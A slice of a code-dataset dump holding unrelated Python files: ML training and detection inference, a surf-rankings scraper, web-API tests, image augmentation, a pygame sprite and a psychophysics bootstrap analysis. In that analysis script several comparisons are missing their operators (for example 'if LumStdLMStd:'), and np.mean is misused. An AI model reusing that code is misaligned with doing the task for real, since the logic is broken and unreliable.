#criterion = torch.nn.CrossEntropyLoss()\n loss = criterion(pred, label)\n\n total_val_loss += loss.item()\n\n if use_sigmoid:\n pred = torch.nn.functional.sigmoid(pred)\n else:\n pred = torch.nn.functional.softmax(pred, dim=1)\n \n for i, p in enumerate(pred):\n if label[i] == torch.max(p.data, 0)[1]:\n total = total + 1\n\n accuracy = total / lenmnistval\n\n total_val_loss = total_val_loss / h\n val_loss.append(total_val_loss)\n\n print('\\nEpoch: {}/{}, Train Loss: {:.8f}, Val Loss: {:.8f}, Val Accuracy: {:.8f}, Num Updates: {}'.format(epoch + 1, no_epochs, total_train_loss, total_val_loss, accuracy, num_updates))\n\n if best_accuracy < accuracy:\n best_ep = epoch+1\n best_accuracy = accuracy\n saved_as = name\n if test!=True:\n torch.save(model.state_dict(), saved_as)\n \n print('best accuracy', best_accuracy, 'best epoch', best_ep)\n return best_accuracy, saved_as\n\n\n","sub_path":"digits_and_arithmetic_experiments/code/mnist_training.py","file_name":"mnist_training.py","file_ext":"py","file_size_in_byte":4388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"471009990","text":"import numpy as np\nimport tensorflow as tf\nimport cv2\nimport pandas as pd\nimport time\nimport label_map_util, visualization_utils\nfrom tqdm import tqdm\n\n\ndef create_detection_df(images_path,\n frozen_model_path,\n label_map_path,\n score_thresh=0.5\n ):\n \"\"\" Function to get detections from a frozen_model.pb\n\n Keyword Arguments:\n\n images_path --list: list of images path (No default)\n frozen_model_path --str: Path to the frozen_model.pb fil e (No default)\n label_map_path --str: Path to label_map.pbtxt\n score_thresh --float: The minimum score to consider as a detection (Default = 0.5)\n\n Output\n returns a pandas Dataframe containing predictions\n \"\"\"\n reverse_class_mapping_dict = label_map_util.get_label_map_dict(label_map_path=label_map_path) # key class names\n class_mapping_dict = {v: k for k, v in reverse_class_mapping_dict.items()} # key int\n print(images_path)\n assert isinstance(images_path, list) or isinstance(images_path, tuple), \"images_path must be a list/tuple of containing full image path\"\n print('preparing to load the model')\n print('frozen model path is',frozen_model_path) \n df_list = []\n start_time = time.time()\n detection_graph = tf.Graph()\n with detection_graph.as_default():\n od_graph_def = tf.GraphDef()\n with tf.gfile.GFile(frozen_model_path, 'rb') as fid:\n serialized_graph = fid.read()\n od_graph_def.ParseFromString(serialized_graph)\n tf.import_graph_def(od_graph_def, name='')\n print(\"Model loaded from disk successfully. Time taken for loading the model is {}\".format(time.time()-start_time))\n time.sleep(0.2) # for tqdm to work properly else tqdm overlaps with printing the above line\n with detection_graph.as_default():\n with tf.Session(graph=detection_graph) as sess:\n image_tensor = detection_graph.get_tensor_by_name('image_tensor:0')\n detection_boxes = detection_graph.get_tensor_by_name('detection_boxes:0')\n detection_scores = detection_graph.get_tensor_by_name('detection_scores:0')\n detection_classes = detection_graph.get_tensor_by_name('detection_classes:0')\n num_detections = detection_graph.get_tensor_by_name('num_detections:0')\n for image_path in tqdm(images_path):\n #print(image_path)\n probs_list = []\n x1_list = []\n x2_list = []\n y1_list = []\n y2_list = []\n classes_list = []\n img_name_list = []\n #print(image_path)\n image_np = cv2.imread(image_path)\n image_np = cv2.cvtColor(image_np, cv2.COLOR_BGR2RGB)\n #print(image_np)\n image_np_expanded = np.expand_dims(image_np, axis=0)\n (boxes, scores, classes, num) = sess.run(\n [detection_boxes, detection_scores, detection_classes, num_detections],\n feed_dict={image_tensor: image_np_expanded})\n '''(boxes, scores, classes, num) = sess.run(\n [detection_boxes, detection_scores, detection_classes, num_detections],\n feed_dict={image_tensor: image_np})'''\n boxes = np.squeeze(boxes) # NOTE boxes are in normalized coordinates\n #print(boxes)\n classes = np.squeeze(classes).astype(np.int32)\n #print(classes)\n scores = np.squeeze(scores)\n #print(scores)\n #print(num)\n im_height, im_width = image_np.shape[:2]\n for box, score, clss in zip(boxes, scores, classes):\n if score >= score_thresh:\n box = tuple(box.tolist())\n ymin, xmin, ymax, xmax = box\n assert ymin < ymax and xmin < xmax\n x1, x2, y1, y2 = (xmin * im_width, xmax * im_width,\n ymin * im_height, ymax * im_height)\n x1_list.append(int(x1))\n x2_list.append(int(x2))\n y1_list.append(int(y1))\n y2_list.append(int(y2))\n probs_list.append(score*100)\n classes_list.append(class_mapping_dict[clss])\n #mod_image_name = image_path.split('/')[-1]\n mod_image_name = image_path\n img_name_list.append(mod_image_name)\n \n df = pd.DataFrame({\"image_path\": img_name_list,\n \"classes\": classes_list,\n \"score\": probs_list,\n \"x1\": x1_list,\n \"y1\": y1_list,\n \"x2\": x2_list,\n \"y2\": y2_list,\n })\n df_list.append(df)\n final_df = pd.concat(df_list, ignore_index=True)\n final_df.sort_values(\"image_path\", inplace=True)\n final_df.reset_index(drop=True, inplace=True)\n return(final_df)\n \n\ndef visualize_detection(dataframe,\n label_map_path,\n line_thickness=1\n ):\n \"\"\" Function to visualize the detections.\n\n Keyword Arguments:\n\n dataframe --pd.Dataframe: a Pandas dataframe returned by the function create_detection_df (No default)\n label_map_path --str: Path to label_map.pbtxt\n line_thickness --int: line thickness for visualization, Default = 1\n\n returns:\n single image or a list of images depending on the input DataFrame\n\n \"\"\"\n images_list = []\n reverse_class_mapping_dict = label_map_util.get_label_map_dict(label_map_path=label_map_path) # key is class name\n label_map = label_map_util.load_labelmap(label_map_path)\n categories = label_map_util.convert_label_map_to_categories(label_map,\n max_num_classes=len(reverse_class_mapping_dict),\n use_display_name=True)\n category_index = label_map_util.create_category_index(categories)\n image_names = list(set(dataframe.image_path))\n image_names.sort()\n grouped_df = dataframe.groupby(\"image_path\")\n for image_name in tqdm(image_names):\n df = grouped_df.get_group(image_name)\n df.reset_index(inplace=True, drop=True)\n img = cv2.imread(image_name)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n visualization_utils.visualize_boxes_and_labels_on_image_array(image=img,\n boxes=np.stack((df.y1, df.x1, df.y2, df.x2), axis=1),\n classes=[reverse_class_mapping_dict[clss] for clss in df.classes],\n scores=df.score/100,\n category_index=category_index,\n instance_masks=None,\n instance_boundaries=None,\n keypoints=None,\n use_normalized_coordinates=False,\n max_boxes_to_draw=None,\n min_score_thresh=0.0,\n agnostic_mode=False,\n line_thickness=line_thickness,\n groundtruth_box_visualization_color='black',\n skip_scores=False,\n skip_labels=False\n )\n images_list.append(img)\n if len(images_list) == 1:\n return images_list[0]\n else:\n return images_list\n","sub_path":"MaskDetection_using_SSD/infer_detections.py","file_name":"infer_detections.py","file_ext":"py","file_size_in_byte":8533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"99545414","text":"import pandas as pd\nfrom Param import ControlParam\nfrom datetime import datetime, timedelta, time\nimport types\n\nimport sys\nsys.dont_write_bytecode = True\n\ndef ProcessA(xl, sheet, param):\n\n resultDic = {}\n\n currentDate = param.startDate\n while currentDate <= param.endDate:\n if not resultDic.has_key(currentDate.date()):\n resultDic.setdefault(currentDate.date(),[0 for x in range(0, 24)])\n currentDate = currentDate + timedelta(days=1)\n\n df = xl.parse(\n sheet_name=sheet, \n header=0, \n usecols=\"A,C:Z\")\n\n for idx, row in df.iterrows():\n\n timeRcd = idx\n if type(timeRcd) is types.UnicodeType:\n timeRcd = datetime.strptime(timeRcd, param.timeFormat)\n dateStamp = timeRcd.date()\n\n if not resultDic.has_key(dateStamp):\n continue\n if isinstance(resultDic[dateStamp], list):\n resultDic[dateStamp] = row.tolist()\n\n # keys = resultDic.keys()\n # keys.sort()\n # for key in keys:\n # print key, resultDic[key]\n\n return [resultDic]","sub_path":"PyExcel/0901/A.py","file_name":"A.py","file_ext":"py","file_size_in_byte":1065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"37249410","text":"# Copyright 2015-2016 Institut Mines-Telecom - Telecom SudParis\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"\nCreated on Feb 15, 2016\n@authors: Marouen Mechtri, Chaima Ghribi\n@contacts: {marouen.mechtri, chaima.ghribi}@it-sudparis.eu\n@organization: Institut Mines-Telecom - Telecom SudParis\n@license: Apache License, Version 2.0\n\"\"\"\n\nfrom translator.hot.syntax.hot_resource import HotResource\n\n# Name used to dynamically load appropriate map class.\nTARGET_CLASS_NAME = 'ToscaFP'\n\n\nclass ToscaFP(HotResource):\n '''Translate TOSCA node type tosca.nodes.nfv.FP.'''\n\n toscatype = 'tosca.nodes.nfv.FP'\n\n def __init__(self, nodetemplate):\n super(ToscaFP, self).__init__(nodetemplate,\n type='tosca.nodes.nfv.FP')\n pass\n\n\n def handle_properties(self):\n self.properties['name'] = self.nodetemplate.name\n self.properties['sfc-service-function']=[]\n i = 0\n\n for cp in self.depends_on:\n vnf = {}\n for requirement in self.nodetemplate.templates[cp.name]['requirements']:\n if ('virtualBinding' in requirement.keys()):\n vnf['type']= 'service-function-type:' + str(self.nodetemplate.templates[requirement.values()[0]]['attributes']['type'])\n vnf['name']= str(self.nodetemplate.templates[requirement.values()[0]]['attributes']['type']) + '-abstract'\n vnf['order']= i\n i = i + 1\n self.properties['sfc-service-function'].append(vnf)\n\n\n","sub_path":"SFC-orchestrator/Tosca-parser/build/lib.linux-x86_64-2.7/toscaparser/sfcustom/hot/tosca_fp.py","file_name":"tosca_fp.py","file_ext":"py","file_size_in_byte":2026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"491526007","text":"class Yazilimci():\n def __init__(self,isim,soyisim,numara,maas,diller):\n self.isim=isim\n self.soyisim=soyisim\n self.numara=numara\n self.maas=maas\n self.diller=diller\n def bilgilerigoster(self):\n print(\"\"\"\n Yazilimci Objelerinin Ozellikleri\n \n isim: {}\n \n Soyisim: {}\n \n Numara: {}\n \n Maas: {}\n \n Bilgileri Goster: {}\n \"\"\".format(self.isim,self.soyisim,self.numara,self.maas,self.diller))\n def zam_yap(self,zam_miktari):\n print(\"Zam Yapiliyor...\")\n self.maas+=zam_miktari\n def dil_ekle(self,yeni_dil):\n print(\"Dil Ekleniyor...\")\n self.diller.append(yeni_dil)\nyazilimci=Yazilimci(\"Sarp\",\"Cubukcuoglu\",123456,3000,[\"Pyhton\",\"Java\",\"C\"])\n\nprint(yazilimci)\n\nprint(yazilimci.bilgilerigoster())\n\nprint(\"\"\"\n**********************************************************************\n\"\"\")\n\nyazilimci","sub_path":"Nesne Tabanli Metodlar.py","file_name":"Nesne Tabanli Metodlar.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"205945225","text":"from wsl_scraper import WSLScraper\n\nEVENTS_COMPLETED = 10\nNUMBER_OF_SURFERS = 36\nNUMBER_OF_EVENTS = 10\n\nclass Rankings:\n\n def __init__(self):\n self.scraper = WSLScraper(url='http://www.worldsurfleague.com/athletes/tour/mct?year=2017')\n\n def chunks(self, l, n):\n \"\"\"Yield successive n-sized chunks from l.\"\"\"\n for i in range(0, len(l), n):\n yield l[i:i + n]\n\n def results_strings_to_int(self, events_list):\n \"\"\"Converts scraped list of event placings to ints for\n ease of sorting/removing lowest 2\"\"\"\n int_event_list = []\n for place in events_list:\n if place == 'INJ':\n int_event_list.append(25)\n else:\n try:\n int_event_list.append(int(place))\n except:\n int_event_list.append(36)\n # int_event_list.append(place)\n return int_event_list\n\n def drop_lowest_two_results(self, events_list):\n \"\"\"Takes a list of events and the number of events completed and returns the list minus the lowest two results\"\"\"\n completed_events = events_list[:EVENTS_COMPLETED]\n sorted_results = sorted(completed_events)\n adjusted_results = sorted_results[:-2]\n return adjusted_results\n\n def event_placing_to_points(self, events_list):\n points = {1: 10000, 2: 8000, 3: 6500, 5: 5200, 9: 4000, 13: 1750, 25: 500, 36: 0}\n total = 0\n for result in events_list:\n total += points[result]\n return total\n\n def build_rankings(self):\n surfers = self.scraper.build_surfers_from_tree()\n\n placings = self.scraper.build_placings_from_tree()\n\n wct_surfers = surfers[:NUMBER_OF_SURFERS]\n\n wct_placings = list(self.chunks(placings, NUMBER_OF_EVENTS))[:NUMBER_OF_SURFERS]\n\n int_placings = [self.results_strings_to_int(placing) for placing in wct_placings]\n\n dropped_two = [self.drop_lowest_two_results(results_list) for results_list in int_placings]\n\n adjusted_points = [self.event_placing_to_points(results) for results in dropped_two]\n original_points = [self.event_placing_to_points(results) for results in int_placings]\n\n surfers_and_points = list(zip(wct_surfers, adjusted_points, original_points, wct_placings))\n\n sorted_adjusted_rankings = sorted(surfers_and_points, key=lambda x: x[1], reverse=True)\n\n return sorted_adjusted_rankings\n","sub_path":"backend/rankings.py","file_name":"rankings.py","file_ext":"py","file_size_in_byte":2462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"260565517","text":"#Plotting data from boots - make sure you analyse the correct pickle files - Apr 2012\n\nimport cPickle\nfrom psychopy import data, gui, core, misc\nimport numpy as np\nimport pylab\n\nLumPositions = []\nLMPositions = []\nSPositions = []\nLMLumPositions = []\nSLumPositions = []\nLMSPositions = []\ncomparisons = {}\nstds = {}\nsems = {}\n\nsubPosition = 310\n\n#Open the pickle files\nfiles = ['0.2_0.002MOABootsNoOutliers_DJHAll.pickle', '0.2_0.002MOABootsNoOutliers_DSAll.pickle', '0.2_0.002MOABootsNoOutliers_RJSAll.pickle']\n\nfor file in files:\n pkl_file1 = open(file, 'rb')\n\n everything = cPickle.load(pkl_file1)\n\n #Calculate the bootstrapped means\n LumMean = np.mean(everything['bootLumPositions'])\n LMMean = np.mean(everything['bootLMPositions'])\n SMean = np.mean(everything['bootSPositions'])\n LMLumMean = np.mean(everything['bootLMLumPositions'])\n SLumMean = np.mean(everything['bootSLumPositions'])\n LMSMean = np.mean(everything['bootLMSPositions'])\n\n #Calculate the bootstrapped stds\n LumStd = np.std(everything['bootLumPositions'])\n LMStd = np.std(everything['bootLMPositions'])\n SStd = np.std(everything['bootSPositions'])\n LMLumStd = np.std(everything['bootLMLumPositions'])\n SLumStd = np.std(everything['bootSLumPositions'])\n LMSStd = np.std(everything['bootLMSPositions'])\n\n #SEM\n LumSem = np.std(everything['bootStd']['bootLumStd'])\n LMSem = np.std(everything['bootStd']['bootLMStd'])\n SSem = np.std(everything['bootStd']['bootSStd'])\n LMLumSem = np.std(everything['bootStd']['bootLMLumStd'])\n SLumSem = np.std(everything['bootStd']['bootSLumStd'])\n LMSSem = np.std(everything['bootStd']['bootLMSStd'])\n\n #Linear Summation\n LMLumLin = np.mean(everything['LMLumLin'])\n SLumLin = np.mean(everything['SLumLin'])\n LMSLin = np.mean(everything['LMSLin'])\n\n #Linear Summation SEM\n LMLumLinSem = np.std(everything['LMLumLin'])\n SLumLinSem = np.std(everything['SLumLin'])\n LMSLinSem = np.std(everything['LMSLin'])\n\n #calculate winner takes all values\n if LumStdLMStd:\n lmlumWin = LMStd\n lmlumWinSem = LMSem\n everything['LMLumWin'] = everything['bootStd']['bootLMStd']\n if LumStdSStd:\n slumWin = SStd\n slumWinSem = SSem\n everything['SLumWin'] = everything['bootStd']['bootSStd']\n if LMStdSStd:\n lmsWin = SStd\n lmsWinSem = SSem\n everything['LMSWin'] = everything['bootStd']['bootSStd']\n \n #Calculate the difference between model and behaviour\n participant = str(everything['Participant'])\n comparisons[participant] = {}\n comparisons[participant]['Lin'] = np.mean((LMLumStd-LMLumLin), (SLumStd-SLumLin), (LMSStd-LMSLin))\n comparisons[participant]['Win'] = np.mean((LMLumStd-lmlumWin), (SLumStd-slumWin), (LMSStd-lmsWin))\n comparisons[participant]['LinErr'] = []\n comparisons[participant]['WinErr'] = []\n \n stds[participant] = {}\n stds[participant]['Lum'] = LumStd\n stds[participant]['LM'] = LMStd\n stds[participant]['S'] = SStd\n stds[participant]['LMLum'] = LMLumStd\n stds[participant]['SLum'] = SLumStd\n stds[participant]['LMS'] = LMSStd\n sems[participant] = {}\n sems[participant]['Lum'] = LumSem\n sems[participant]['LM'] = LMSem\n sems[participant]['S'] = SSem\n sems[participant]['LMLum'] = LMLumSem\n sems[participant]['SLum'] = SLumSem\n sems[participant]['LMS'] = LMSSem\n\n for n in range(5000):\n LinErr = np.mean(((everything['bootStd']['bootLMLumStd'][n])-(everything['LMLumLin'][n])), \\\n ((everything['bootStd']['bootSLumStd'][n])-(everything['SLumLin'][n])), \\\n ((everything['bootStd']['bootLMSStd'][n])-(everything['LMSLin'][n])))\n comparisons[participant]['LinErr'].append(LinErr)\n \n WinErr = np.mean(((everything['bootStd']['bootLMLumStd'][n])-(everything['LMLumWin'][n])), \\\n ((everything['bootStd']['bootSLumStd'][n])-(everything['SLumWin'][n])), \\\n ((everything['bootStd']['bootLMSStd'][n])-(everything['LMSWin'][n])))\n comparisons[participant]['WinErr'].append(WinErr)\n\n #Plot EVERYTHING!!\n# print subPosition\n# pylab.figure(figsize=(10,4))\n# pylab.subplot(subPosition)\n# subPosition +=1\n# width = 0.5\n# LumBar = pylab.bar(0.5, LumStd, width, facecolor = '#0032ff', alpha = 0.75, label = 'Lum', yerr = LumSem, ecolor = 'black')\n# LMBar = pylab.bar(1.5, LMStd, width, facecolor = '#0032ff', alpha = 0.75, label = 'LM', yerr = LMSem, ecolor = 'black')\n# SBar = pylab.bar(2.5, SStd, width, facecolor = '#0032ff', alpha = 0.75, label = 'S', yerr = SSem, ecolor = 'black')\n#\n# LMLumBar = pylab.bar(4.5, LMLumStd, width, facecolor = '#0032ff', alpha = 0.75, label = 'LMLum', yerr = LMLumSem, ecolor = 'black')\n# LMLumLinBar = pylab.bar(5.5, LMLumLin, width, facecolor = '#0032ff', alpha = 0.75, label = 'LMLumLin', yerr = LMLumLinSem, ecolor = 'black', hatch = '/')\n# LMLumWinBar = pylab.bar(6.5, lmlumWin, width, facecolor = '#0032ff', alpha = 0.75, label = 'LMLumWin', yerr = lmlumWinSem, ecolor = 'black', hatch = 'x')\n#\n# SLumBar = pylab.bar(8.5, SLumStd, width, facecolor = '#0032ff', alpha = 0.75, label = 'SLum', yerr = SLumSem, ecolor = 'black')\n# SLumLinBar = pylab.bar(9.5, SLumLin, width, facecolor = '#0032ff', alpha = 0.75, label = 'SLumLin', yerr = SLumLinSem, ecolor = 'black', hatch = '/')\n# SLumWinBar = pylab.bar(10.5, slumWin, width, facecolor = '#0032ff', alpha = 0.75, label = 'SLumWin', yerr = slumWinSem, ecolor = 'black', hatch = 'x')\n#\n# LMSBar = pylab.bar(12.5, LMSStd, width, facecolor = '#0032ff', alpha = 0.75, label = 'LMS', yerr = LMSSem, ecolor = 'black')\n# LMSLinBar = pylab.bar(13.5, LMSLin, width, facecolor = '#0032ff', alpha = 0.75, label = 'LMSLin', yerr = LMSLinSem, ecolor = 'black', hatch = '/')\n# LMSWinBar = pylab.bar(14.5, lmsWin, width, facecolor = '#0032ff', alpha = 0.75, label = 'LMSWin', yerr = lmsWinSem, ecolor = 'black', hatch = 'x')\n#\n# xlabels = pylab.xticks(((np.arange(15))+width/2.0)+0.5, ('Lum', 'LM', 'S', '', 'LMLum', 'LMLum Lin', 'LMLum Win', '', \\\n# 'SLum', 'SLum Lin', 'SLum Win', '', 'LMS', 'LMS Lin', 'LMS Win'), rotation = 'vertical')\n# pylab.ylim(0,0.035)\n# pylab.title(everything['Participant'])\n# pylab.tight_layout()\n\n #pylab.legend()\n pkl_file1.close()\n\nLocations = [0.25, 0.5, 0.75]\n\npylab.subplot(121)\nRJSLine1 = pylab.errorbar(Locations, [stds['RJS']['Lum'], stds['RJS']['LM'], stds['RJS']['S']], marker = 'o', color = 'k', linestyle = '-', yerr = [sems['RJS']['Lum'], sems['RJS']['LM'], sems['RJS']['S']])\nDJHLine1 = pylab.errorbar(Locations, [stds['DJH']['Lum'], stds['DJH']['LM'], stds['DJH']['S']], marker = 'D', color = 'k', linestyle = '--', yerr = [sems['DJH']['Lum'], sems['DJH']['LM'], sems['DJH']['S']])\nDSLine1 = pylab.errorbar(Locations, [stds['DS']['Lum'], stds['DS']['LM'], stds['DS']['S']], marker = 's', color = 'k', linestyle = ':', yerr = [sems['DS']['Lum'], sems['DS']['LM'], sems['DS']['S']])\npylab.ylim(0, 0.08)\npylab.ylabel('Standard Deviation (degrees)')\npylab.xlabel('Individual Cues')\npylab.xticks(Locations, ('Lum', 'LM', 'S'))\n\npylab.subplot(122)\nRJSLine2 = pylab.errorbar(Locations, [stds['RJS']['LMLum'], stds['RJS']['SLum'], stds['RJS']['LMS']], marker = 'o', color = 'k', linestyle = '-', yerr = [sems['RJS']['LMLum'], sems['RJS']['SLum'], sems['RJS']['LMS']], label = 'RJS')\nDJHLine2 = pylab.errorbar(Locations, [stds['DJH']['LMLum'], stds['DJH']['SLum'], stds['DJH']['LMS']], marker = 'D', color = 'k', linestyle = '--', yerr = [sems['DJH']['LMLum'], sems['DJH']['SLum'], sems['DJH']['LMS']], label = 'DJH')\nDSLine2 = pylab.errorbar(Locations, [stds['DS']['LMLum'], stds['DS']['SLum'], stds['DS']['LMS']], marker = 's', color = 'k', linestyle = ':', yerr = [sems['DS']['LMLum'], sems['DS']['SLum'], sems['DS']['LMS']], label = 'DS')\npylab.ylim(0, 0.08)\npylab.xticks(Locations, ('LM + Lum', 'S + Lum', 'LM + S'))\npylab.yticks([])\n\npylab.xlabel('Combined Cues')\n\npylab.legend(frameon=False)\n\npylab.tight_layout()\n\npylab.show()","sub_path":"Data Analysis/Noise Analysis/MOASingleFileBootAnalysisLines.py","file_name":"MOASingleFileBootAnalysisLines.py","file_ext":"py","file_size_in_byte":8581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"262471202","text":"\"\"\"Test different request body content types.\"\"\"\n\nfrom pyramid.config import Configurator\nfrom pyramid.request import Request\nfrom pyramid.router import Router\nfrom webtest.app import TestApp\n\nimport tempfile\nimport typing as t\nimport unittest\n\n\ndef app(spec: str, view: t.Callable, route: str) -> Router:\n \"\"\"Prepare a Pyramid app.\"\"\"\n with Configurator() as config:\n config.include(\"pyramid_openapi3\")\n config.pyramid_openapi3_spec(spec)\n config.add_route(\"foo\", route)\n config.add_view(openapi=True, renderer=\"json\", view=view, route_name=\"foo\")\n return config.make_wsgi_app()\n\n\nOPENAPI_YAML = \"\"\"\n openapi: \"3.0.0\"\n info:\n version: \"1.0.0\"\n title: Foo\n components:\n schemas:\n FooObject:\n type: object\n properties:\n bar:\n type: string\n paths:\n /foo:\n post:\n requestBody:\n content:\n application/json:\n schema:\n $ref: \"#/components/schemas/FooObject\"\n application/x-www-form-urlencoded:\n schema:\n $ref: \"#/components/schemas/FooObject\"\n responses:\n 200:\n description: OK\n\"\"\"\n\n\nclass TestContentTypes(unittest.TestCase):\n \"\"\"A suite of tests that make sure different body content types are supported.\"\"\"\n\n def _testapp(self) -> TestApp:\n \"\"\"Start up the app so that tests can send requests to it.\"\"\"\n from webtest import TestApp\n\n def foo_view(request: Request) -> t.Dict[str, str]:\n \"\"\"Return reversed string.\"\"\"\n return {\"bar\": request.openapi_validated.body[\"bar\"][::-1]}\n\n with tempfile.NamedTemporaryFile() as document:\n document.write(OPENAPI_YAML.encode())\n document.seek(0)\n\n return TestApp(app(document.name, foo_view, \"/foo\"))\n\n def test_post_json(self) -> None:\n \"\"\"Post with `application/json`.\"\"\"\n\n res = self._testapp().post_json(\"/foo\", {\"bar\": \"baz\"}, status=200)\n self.assertEqual(res.json, {\"bar\": \"zab\"})\n\n def test_post_form(self) -> None:\n \"\"\"Post with `application/x-www-form-urlencoded`.\"\"\"\n\n res = self._testapp().post(\"/foo\", params={\"bar\": \"baz\"}, status=200)\n self.assertEqual(res.json, {\"bar\": \"zab\"})\n","sub_path":"pyramid_openapi3/tests/test_contenttypes.py","file_name":"test_contenttypes.py","file_ext":"py","file_size_in_byte":2339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"413172361","text":"import Augmentor\r\nimport os\r\ndef makedir(path):\r\n '''\r\n if path does not exist in the file system, create it\r\n '''\r\n if not os.path.exists(path):\r\n os.makedirs(path)\r\n\r\ndatasets_root_dir = './CUB_200_2011/'\r\ndir = datasets_root_dir + 'train_crop/'\r\ntarget_dir_name = 'train_crop_augmented/'\r\n\r\n# You will find the train_crop_augmented inside train_crop because of Augmentor. Move it up a directory.\r\n# Source path\r\nfd = dir\r\n# Target directory name, Target path is set to os.path.join(fd, tfd) by Augmentor\r\ntfd = target_dir_name\r\n\r\n# Rotate\r\np = Augmentor.Pipeline(source_directory=fd, output_directory=tfd)\r\np.rotate(probability=1, max_left_rotation=15, max_right_rotation=15)\r\np.flip_left_right(probability=0.5)\r\nfor i in range(1):\r\n p.process()\r\ndel p\r\n\r\n# Skew\r\np = Augmentor.Pipeline(source_directory=fd, output_directory=tfd)\r\np.skew(probability=1, magnitude=0.2) # max 45 degrees\r\np.flip_left_right(probability=0.5)\r\nfor i in range(1):\r\n p.process()\r\ndel p\r\n\r\n# Shear\r\np = Augmentor.Pipeline(source_directory=fd, output_directory=tfd)\r\np.shear(probability=1, max_shear_left=10, max_shear_right=10)\r\np.flip_left_right(probability=0.5)\r\nfor i in range(1):\r\n p.process()\r\ndel p\r\n\r\n# distortion\r\np = Augmentor.Pipeline(source_directory=fd, output_directory=tfd)\r\np.random_distortion(probability=1, grid_width=5, grid_height=5, magnitude=5)\r\np.flip_left_right(probability=0.5)\r\nfor i in range(1):\r\n p.process()\r\ndel p\r\n","sub_path":"p2p_source_code/lib/protopnet/cub_augment.py","file_name":"cub_augment.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"219199996","text":"# -*- coding: utf-8 -*-\r\nimport pygame\r\nfrom api.Particle import Particle\r\n\r\nclass ParticleSprite(Particle):\r\n \r\n # Constructor.\r\n def __init__(self, aM, aP, aS, aA, aImgFile):\r\n # Imagen\r\n self.mImg = None\r\n self.mImg = pygame.image.load(aImgFile)\r\n self.mImg = self.mImg.convert_alpha()\r\n\r\n # Rectángulo\r\n self.mImgRect = self.mImg.get_rect()\r\n \r\n # Radio\r\n aR = (self.mImgRect.width + self.mImgRect.height) // 4\r\n self.hitboxRadius = aR\r\n\r\n Particle.__init__(self, aM, aR, aP, aS, aA)\r\n\r\n # Ángulo\r\n self.mAngle = 0\r\n\r\n # Velocidad angular\r\n self.mAngularSpeed = 0\r\n\r\n # Aceleración angular\r\n self.mAngularAccel = 0\r\n\r\n # Auxiliar para imagen girada\r\n self.mDisplayImg = self.mImg\r\n self.mDisplayAngle = self.mAngle\r\n\r\n # Update\r\n def update(self):\r\n Particle.update(self)\r\n \r\n self.mAngularSpeed += self.mAngularAccel\r\n \r\n self.mAngle += self.mAngularSpeed\r\n \r\n if abs(self.mAngle) > 359:\r\n self.mAngle = self.mAngle % 360\r\n \r\n if self.mAngle < 0:\r\n self.mAngle += 360\r\n \r\n def getEdge(self):\r\n return (self.mP.getX() - self.mR, self.mP.getY() - self.mR)\r\n\r\n # Render\r\n def render(self, aScreen):\r\n if self.mAngle != self.mDisplayAngle:\r\n self.mDisplayImg = self.mImg\r\n #self.mDisplayImg = pygame.transform.rotate(self.mDisplayImg, self.mAngle)\r\n self.mDisplayImg = pygame.transform.rotozoom(self.mDisplayImg, self.mAngle, 1)\r\n self.mDisplayAngle = self.mAngle\r\n rect = self.mDisplayImg.get_rect()\r\n self.mR = (rect.width + rect.height) // 4\r\n aScreen.blit(self.mDisplayImg, self.getEdge())\r\n\r\n # Destroy\r\n def destroy(self):\r\n Particle.destroy(self)\r\n self.mImg = None\r\n self.mImgRect = None\r\n self.mAngle = None\r\n self.hitboxRadius = None\r\n self.mAngularSpeed = None\r\n self.mAngularAccel = None\r\n self.mDisplayImg = None\r\n self.mDisplayAngle = None\r\n \r\n @staticmethod\r\n def CheckHitboxCollision(p1, p2):\r\n #Max distance\r\n dm = p1.hitboxRadius + p2.hitboxRadius\r\n #Cheap check first, real check after\r\n if abs(p2.mP.x - p1.mP.x) < dm and abs(p2.mP.y - p1.mP.y) < dm:\r\n dr = abs(p2.mP - p1.mP)\r\n if dr < dm:\r\n return True\r\n return False","sub_path":"Test1/src/api/ParticleSprite.py","file_name":"ParticleSprite.py","file_ext":"py","file_size_in_byte":2540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"603709146","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 31 20:25:57 2020\n\n@author: Lucas\n\"\"\"\n\n\n#Matrizes - listas de listas\n\nR = int(input('numero de linhas:'))\nC = int(input('numero de colunas:'))\n\nmatrix = []\n\nfor i in range (R): #Para percorrer linhas\n a =[]\n #print(R,i)\n \n for j in range (C): #Para percorrer colunas\n print(\"coluuna\",j)\n a.append(int(input()))\n matrix.append(a)\n \n print(matrix)\n \n#Impressão da matrix\n \n for i in range(R):\n for j in range(C):\n print(matrix[i][j],end=' ')\n print()\n \n#Impressão da matrix (substitui j por i) na hora de imprimir\n \n for i in range(R):\n for j in range(C):\n print(matrix[j][i],end=' ')\n print()","sub_path":"exemplo aula 3.py","file_name":"exemplo aula 3.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"34966669","text":"import os\nimport sys\nfrom wsgiref import 